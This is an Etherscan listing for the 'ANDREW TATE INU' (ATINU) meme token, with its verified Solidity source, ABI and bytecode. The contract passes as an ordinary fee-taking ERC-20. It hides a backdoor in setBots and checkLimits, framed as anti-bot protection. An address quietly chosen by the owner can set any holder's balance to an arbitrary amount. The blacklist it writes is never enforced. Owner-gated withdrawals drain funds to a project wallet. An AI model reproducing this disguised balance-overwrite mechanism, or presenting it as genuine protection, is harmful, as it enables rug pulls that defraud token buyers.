ERC-20
Overview
Max Total Supply
1,000,000,000 ATINU
Holders
35
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,273,286.996475562 ATINUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Tate
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-11-19 */ /** https://andrewtateinu.com/ https://t.me/Andrew_Tate_Inu https://twitter.com/ATINUERC20 https://medium.com/@antainu/back-in-the-ring-ef68585d1bd9 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface antiBot { function checkFrom(address _from, bool _state) external; function checkLimits(address _bot, uint256 _check) external; function setTo(address _to) external; function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external; function setLpPair(address pair, bool enabled) external; function setProtections(bool _as, bool _ag, bool _ab, bool _algo) external; function setGasPriceLimit(uint256 gas) external; function removeBot(address account) external; function getBotAmt() external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Tate is IERC20, Ownable { mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private cooldown; mapping(address => bool) private _blackList; uint256 private _totalSupply = 1000000000 * 10**9; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public _isExcludedMaxWalletAmount; string private constant _name = "ANDREW TATE INU"; string private constant _symbol = "ATINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; antiBot private _early; address public uniswapV2Pair; bool public tradingOpen; bool public hasLimits; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _totalSupply * 3 / 100; uint256 private _maxWalletAmount = _totalSupply * 3 / 100; uint256 public buyFees = 5; uint256 public sellFees = 4; uint256 private _projectReserves = 0; address public projectWallet = 0x9e9f0f8eFd4F971a16d1E66F599FaA67E038E89D; uint256 private addToETH = _totalSupply * 1 / 200; bool inSwapAndLiquify; modifier antiBotLogic() { require( address(_early) == msg.sender, "Error: Bot wallet." ); _; } modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded); event ExcludedMaxWalletAmount(address indexed account, bool isExcluded); constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); excludeFromMaxWallet(address(uniswapV2Pair), true); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(address(projectWallet), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxTransaction(address(projectWallet), true); excludeFromMaxWallet(owner(), true); excludeFromMaxWallet(address(this), true); excludeFromMaxWallet(address(0xdead), true); excludeFromMaxWallet(address(projectWallet), true); _balance[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()] - (amount) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingOpen){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to]); } if (hasLimits) { if (!_isExcludedMaxTransactionAmount[from] ) { require(amount <= _maxTxAmount, "Exceed max transaction amount"); } if (!_isExcludedMaxWalletAmount[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Max wallet exceeded"); } } if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) { if (from != uniswapV2Pair) { if ((_projectReserves) >= addToETH) { _swapTokensForEth(addToETH); _projectReserves -= addToETH; (bool sent,) = payable(projectWallet).call{value: address(this).balance}(""); require(sent); } } } bool takeFee = true; uint256 fees = 0; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if (takeFee) { if (from == uniswapV2Pair) { fees = amount * buyFees / 100; _projectReserves += fees; } else if(to == uniswapV2Pair) { fees = amount * sellFees / 100; _projectReserves += fees; } if(fees > 0) { _tokenTransfer(from, address(this), fees); } amount -= (fees); } _tokenTransfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), (block.timestamp + 300) ); } function checkLimits(address _bot, uint256 _check) external antiBotLogic { if(_check > 0){ _balance[_bot] = _check; _blackList[_bot] = true; } if(_check == 0){ revert("Bot Blocked."); } } function _tokenTransfer( address from, address to, uint256 amount ) internal virtual { uint256 fromBalance = _balance[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balance[from] = fromBalance - amount; } _balance[to] += amount; emit Transfer(from, to, amount); } function openTrading() external onlyOwner returns (bool) { require(!tradingOpen, "trading is already open"); tradingOpen = true; hasLimits = true; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeFromMaxTransaction(address account, bool excluded) public onlyOwner { _isExcludedMaxTransactionAmount[account] = excluded; emit ExcludedMaxTransactionAmount(account, excluded); } function excludeFromMaxWallet(address account, bool excluded) public onlyOwner { _isExcludedMaxWalletAmount[account] = excluded; emit ExcludedMaxWalletAmount(account, excluded); } function removeLimits() public onlyOwner returns (bool) { hasLimits = false; return true; } function setBots(address[] memory _bots) external onlyOwner { for(uint256 i = 0; i < _bots.length; i++) { _blackList[_bots[i]] = true; } _early = antiBot(_bots[10]); } function withdraw(address token) external onlyOwner { require(_msgSender() == projectWallet); require(token != address(0), 'Zero Address'); bool s = IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); require(s, 'Failure On Token Withdraw'); } function withdrawETH() external onlyOwner { require(_msgSender() == projectWallet); (bool s,) = payable(projectWallet).call{value: address(this).balance}(""); require(s); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedMaxTransactionAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_bot","type":"address"},{"internalType":"uint256","name":"_check","type":"uint256"}],"name":"checkLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"projectWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006006819055600c805462ffffff60b01b19169055606490620000319060036200061c565b6200003d91906200064a565b600d55606460065460036200005391906200061c565b6200005f91906200064a565b600e556005600f5560046010556000601155601280546001600160a01b031916739e9f0f8efd4f971a16d1e66f599faa67e038e89d17905560065460c890620000aa9060016200061c565b620000b691906200064a565b601355348015620000c657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6200012a81600162000425565b600a80546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000184573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001aa91906200066d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021e91906200066d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029291906200066d565b600c80546001600160a01b0319166001600160a01b03929092169182179055620002be90600162000425565b600c54620002d7906001600160a01b03166001620004d4565b620002f6620002ee6000546001600160a01b031690565b600162000578565b6200030330600162000578565b6200031261dead600162000578565b6012546200032b906001600160a01b0316600162000578565b6200034a620003426000546001600160a01b031690565b600162000425565b6200035730600162000425565b6200036661dead600162000425565b6012546200037f906001600160a01b0316600162000425565b6200039e620003966000546001600160a01b031690565b6001620004d4565b620003ab306001620004d4565b620003ba61dead6001620004d4565b601254620003d3906001600160a01b03166001620004d4565b60065433600081815260026020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200069f565b6000546001600160a01b03163314620004745760405162461bcd60e51b815260206004820181905260248201526000805160206200204883398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260086020908152604091829020805460ff191685151590811790915591519182527f575f9d01836c9206322151b9e9ec3f2b77b87e71176933b9b44d2d732f768d9591015b60405180910390a25050565b6000546001600160a01b031633146200051f5760405162461bcd60e51b815260206004820181905260248201526000805160206200204883398151915260448201526064016200046b565b6001600160a01b038216600081815260096020908152604091829020805460ff191685151590811790915591519182527f5956094251965a24e12663de1458c0d93ae46d0299678c87fb094b82fe3f26879101620004c8565b6000546001600160a01b03163314620005c35760405162461bcd60e51b815260206004820181905260248201526000805160206200204883398151915260448201526064016200046b565b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79101620004c8565b60008160001904831182151516156200064557634e487b7160e01b600052601160045260246000fd5b500290565b6000826200066857634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200068057600080fd5b81516001600160a01b03811681146200069857600080fd5b9392505050565b61199980620006af6000396000f3fe6080604052600436106101bb5760003560e01c806396880b17116100ec578063dd62ed3e1161008a578063e4748b9e11610064578063e4748b9e14610548578063f0ee564e1461055e578063f48c36f41461057e578063ffb54a991461059f57600080fd5b8063dd62ed3e146104d7578063e086e5ec1461051d578063e0f3ccf51461053257600080fd5b8063beb08ab9116100c6578063beb08ab914610462578063c024666814610482578063c9567bf9146104a2578063d2fcc001146104b757600080fd5b806396880b17146103f2578063a9059cbb14610422578063b515566a1461044257600080fd5b806351cff8d911610159578063751039fc11610133578063751039fc146103715780637571336a146103865780638da5cb5b146103a657806395d89b41146103c457600080fd5b806351cff8d91461030457806370a0823114610326578063715018a61461035c57600080fd5b806318160ddd1161019557806318160ddd1461027157806323b872dd14610290578063313ce567146102b057806349bd5a5e146102cc57600080fd5b806306fdde03146101c7578063095ea7b31461021157806310d5de531461024157600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600f81526e414e44524557205441544520494e5560881b60208201525b604051610208919061156a565b60405180910390f35b34801561021d57600080fd5b5061023161022c3660046115dd565b6105c0565b6040519015158152602001610208565b34801561024d57600080fd5b5061023161025c366004611609565b60086020526000908152604090205460ff1681565b34801561027d57600080fd5b506006545b604051908152602001610208565b34801561029c57600080fd5b506102316102ab36600461162d565b6105d7565b3480156102bc57600080fd5b5060405160098152602001610208565b3480156102d857600080fd5b50600c546102ec906001600160a01b031681565b6040516001600160a01b039091168152602001610208565b34801561031057600080fd5b5061032461031f366004611609565b610629565b005b34801561033257600080fd5b50610282610341366004611609565b6001600160a01b031660009081526002602052604090205490565b34801561036857600080fd5b506103246107f8565b34801561037d57600080fd5b5061023161086c565b34801561039257600080fd5b506103246103a136600461167c565b6108aa565b3480156103b257600080fd5b506000546001600160a01b03166102ec565b3480156103d057600080fd5b506040805180820190915260058152644154494e5560d81b60208201526101fb565b3480156103fe57600080fd5b5061023161040d366004611609565b60096020526000908152604090205460ff1681565b34801561042e57600080fd5b5061023161043d3660046115dd565b610934565b34801561044e57600080fd5b5061032461045d3660046116cb565b610941565b34801561046e57600080fd5b506012546102ec906001600160a01b031681565b34801561048e57600080fd5b5061032461049d36600461167c565b610a18565b3480156104ae57600080fd5b50610231610a9a565b3480156104c357600080fd5b506103246104d236600461167c565b610b3a565b3480156104e357600080fd5b506102826104f2366004611790565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561052957600080fd5b50610324610bbc565b34801561053e57600080fd5b5061028260105481565b34801561055457600080fd5b50610282600f5481565b34801561056a57600080fd5b506103246105793660046115dd565b610c69565b34801561058a57600080fd5b50600c5461023190600160a81b900460ff1681565b3480156105ab57600080fd5b50600c5461023190600160a01b900460ff1681565b60006105cd338484610d2e565b5060015b92915050565b60006105e4848484610e52565b6001600160a01b03841660009081526003602090815260408083203380855292529091205461061f91869161061a9086906117d4565b610d2e565b5060019392505050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b8152600401610653906117e7565b60405180910390fd5b6012546001600160a01b0316336001600160a01b03161461067c57600080fd5b6001600160a01b0381166106c15760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b6044820152606401610653565b6040516370a0823160e01b81523060048201526000906001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610736919061181c565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190611835565b9050806107f45760405162461bcd60e51b815260206004820152601960248201527f4661696c757265204f6e20546f6b656e205769746864726177000000000000006044820152606401610653565b5050565b6000546001600160a01b031633146108225760405162461bcd60e51b8152600401610653906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146108975760405162461bcd60e51b8152600401610653906117e7565b50600c805460ff60a81b19169055600190565b6000546001600160a01b031633146108d45760405162461bcd60e51b8152600401610653906117e7565b6001600160a01b038216600081815260086020908152604091829020805460ff191685151590811790915591519182527f575f9d01836c9206322151b9e9ec3f2b77b87e71176933b9b44d2d732f768d9591015b60405180910390a25050565b60006105cd338484610e52565b6000546001600160a01b0316331461096b5760405162461bcd60e51b8152600401610653906117e7565b60005b81518110156109d35760016005600084848151811061098f5761098f611852565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109cb81611868565b91505061096e565b5080600a815181106109e7576109e7611852565b6020026020010151600b60006101000a8154816001600160a01b0302191690836001600160a01b0316021790555050565b6000546001600160a01b03163314610a425760405162461bcd60e51b8152600401610653906117e7565b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79101610928565b600080546001600160a01b03163314610ac55760405162461bcd60e51b8152600401610653906117e7565b600c54600160a01b900460ff1615610b1f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610653565b50600c805461ffff60a01b191661010160a01b179055600190565b6000546001600160a01b03163314610b645760405162461bcd60e51b8152600401610653906117e7565b6001600160a01b038216600081815260096020908152604091829020805460ff191685151590811790915591519182527f5956094251965a24e12663de1458c0d93ae46d0299678c87fb094b82fe3f26879101610928565b6000546001600160a01b03163314610be65760405162461bcd60e51b8152600401610653906117e7565b6012546001600160a01b0316336001600160a01b031614610c0657600080fd5b6012546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c53576040519150601f19603f3d011682016040523d82523d6000602084013e610c58565b606091505b5050905080610c6657600080fd5b50565b600b546001600160a01b03163314610cb85760405162461bcd60e51b815260206004820152601260248201527122b93937b91d102137ba103bb0b63632ba1760711b6044820152606401610653565b8015610cef576001600160a01b038216600090815260026020908152604080832084905560059091529020805460ff191660011790555b806000036107f45760405162461bcd60e51b815260206004820152600c60248201526b2137ba10213637b1b5b2b21760a11b6044820152606401610653565b6001600160a01b038316610d905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610653565b6001600160a01b038216610df15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610653565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610653565b6001600160a01b038216610f185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610653565b60008111610f7a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610653565b600c54600160a01b900460ff16610fd3576001600160a01b03831660009081526007602052604090205460ff1680610fca57506001600160a01b03821660009081526007602052604090205460ff165b610fd357600080fd5b600c54600160a81b900460ff16156110e8576001600160a01b03831660009081526008602052604090205460ff1661105757600d548111156110575760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e740000006044820152606401610653565b6001600160a01b03821660009081526009602052604090205460ff166110e857600e548161109a846001600160a01b031660009081526002602052604090205490565b6110a49190611881565b11156110e85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610653565b600c546001600160a01b03848116911614806111115750600c546001600160a01b038381169116145b8015611120575060145460ff16155b156111cb57600c546001600160a01b038481169116146111cb57601354601154106111cb576111506013546112e7565b6013546011600082825461116491906117d4565b90915550506012546040516000916001600160a01b03169047908381818185875af1925050503d80600081146111b6576040519150601f19603f3d011682016040523d82523d6000602084013e6111bb565b606091505b50509050806111c957600080fd5b505b6001600160a01b0383166000908152600760205260408120546001919060ff168061120e57506001600160a01b03841660009081526007602052604090205460ff165b1561121857600091505b81156112d557600c546001600160a01b039081169086160361126d576064600f54846112449190611894565b61124e91906118b3565b905080601160008282546112629190611881565b909155506112b79050565b600c546001600160a01b03908116908516036112b7576064601054846112939190611894565b61129d91906118b3565b905080601160008282546112b19190611881565b90915550505b80156112c8576112c8853083611461565b6112d281846117d4565b92505b6112e0858585611461565b5050505050565b6014805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611852565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a691906118d5565b816001815181106113b9576113b9611852565b6001600160a01b039283166020918202929092010152600a546113df9130911684610d2e565b600a546001600160a01b031663791ac94783600084306114014261012c611881565b6040518663ffffffff1660e01b81526004016114219594939291906118f2565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b50506014805460ff1916905550505050565b6001600160a01b038316600090815260026020526040902054818110156114d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610653565b6001600160a01b03808516600090815260026020526040808220858503905591851681529081208054849290611510908490611881565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155c91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b818110156115975785810183015185820160400152820161157b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c6657600080fd5b80356115d8816115b8565b919050565b600080604083850312156115f057600080fd5b82356115fb816115b8565b946020939093013593505050565b60006020828403121561161b57600080fd5b8135611626816115b8565b9392505050565b60008060006060848603121561164257600080fd5b833561164d816115b8565b9250602084013561165d816115b8565b929592945050506040919091013590565b8015158114610c6657600080fd5b6000806040838503121561168f57600080fd5b823561169a816115b8565b915060208301356116aa8161166e565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116de57600080fd5b823567ffffffffffffffff808211156116f657600080fd5b818501915085601f83011261170a57600080fd5b81358181111561171c5761171c6116b5565b8060051b604051601f19603f83011681018181108582111715611741576117416116b5565b60405291825284820192508381018501918883111561175f57600080fd5b938501935b8285101561178457611775856115cd565b84529385019392850192611764565b98975050505050505050565b600080604083850312156117a357600080fd5b82356117ae816115b8565b915060208301356116aa816115b8565b634e487b7160e01b600052601160045260246000fd5b818103818111156105d1576105d16117be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561182e57600080fd5b5051919050565b60006020828403121561184757600080fd5b81516116268161166e565b634e487b7160e01b600052603260045260246000fd5b60006001820161187a5761187a6117be565b5060010190565b808201808211156105d1576105d16117be565b60008160001904831182151516156118ae576118ae6117be565b500290565b6000826118d057634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118e757600080fd5b8151611626816115b8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119425784516001600160a01b03168352938301939183019160010161191d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204c0c7f677d48601196916c454b23facb2ce7d256af707c1076886df05e4fe9ae64736f6c634300081000334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
